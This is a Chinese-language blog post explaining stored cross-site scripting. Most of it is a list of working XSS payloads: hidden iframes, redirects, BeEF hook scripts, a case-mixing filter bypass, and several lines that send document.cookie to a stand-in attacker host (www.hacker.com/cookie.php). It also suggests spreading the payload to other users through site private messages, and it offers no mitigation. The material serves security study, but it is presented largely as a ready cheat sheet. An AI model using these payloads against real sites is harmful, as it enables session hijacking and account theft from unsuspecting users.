2022-01-07 存储型跨站脚本XSS Stored
存储型XSS原理:
攻击者在页面插入xss代码,服务端将数据存入数据库,当用户访问存在xss漏洞的页面时,服务端从数据库取出数据展示到页面上,导致xss代码执行,达到攻击效果。
存储型XSS又叫持久型跨站脚本。
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
xss =>跨站脚本攻击=>前端代码注入=>用户输入的数据会被当做前端代码执行。
如果用户输入的数据不被存入数据库可以做到存储型xss吗?
答案是可以的,存储型XSS的核心是存入到某个地方然后调用,不一定就要存在数据库里,还可以是文件里。
构造XSS脚本:
常用html标签:
<iframe> 创建包含另外一个文档的内联框架。
<textarea>定义多行文本输入控件。
<img> 向网页中嵌入一幅图片。
<script> 定义客户端脚本,比如javascript,可以包含脚本语句,可以通过src属性指向外部脚本文件。
常用javascript方法:
alert 显示带有一条指定消息和一个确认按钮的警告框。
window.location 获得当前页面地址,并把浏览器重定向到新页面。
location.herf 返回当前显示的文档的完整URL。
onload 一个页面或一个图像完成加载。
onsubmit 确认按钮被点击。
onerror 在加载文档或图片时发生错误。
弹框警告:脚本可以执行,也就表明后端服务器未对特殊字符做过滤。
<script> alert ('XSS') </script>
<script> alert (document.cookie) </script>
页面嵌套:
<iframe src=http://www.baidu.com width=300 height=300> </iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0> </iframe>
页面重定向:
<script>window.location="http://www.qfedu.com" </script>
<script>location.herf="http://www.baidu.com" </script>
弹窗警告并重定向:
<script>alert("请到我们的新网站"); location.herf="http://www.qfedu.com" </script>
通过网站内部私信的方式将其发给其他用户,用户在另外站点重新登录账户,就可以收集账户访问恶意代码。
<script src="http://www.qfedu.com/XSS.js"></script>
<script src="http://BeEF_IP:3000 /hook.js"></script> 结合BeEF收集信息。
巧用图片标签:
<img src="#"onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"> </img>
绕开过滤 的脚本:
大小写:<ScrIpt>alert('xss')</SCRipt>
字符编码,采用URL,Base64等。
打开新窗口并使用本地cookie访问目标网页:
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie </script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
本文来自博客园,作者:{admin-xiaoli},转载请注明原文链接:{https://www.cnblogs.com/crackerroot}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架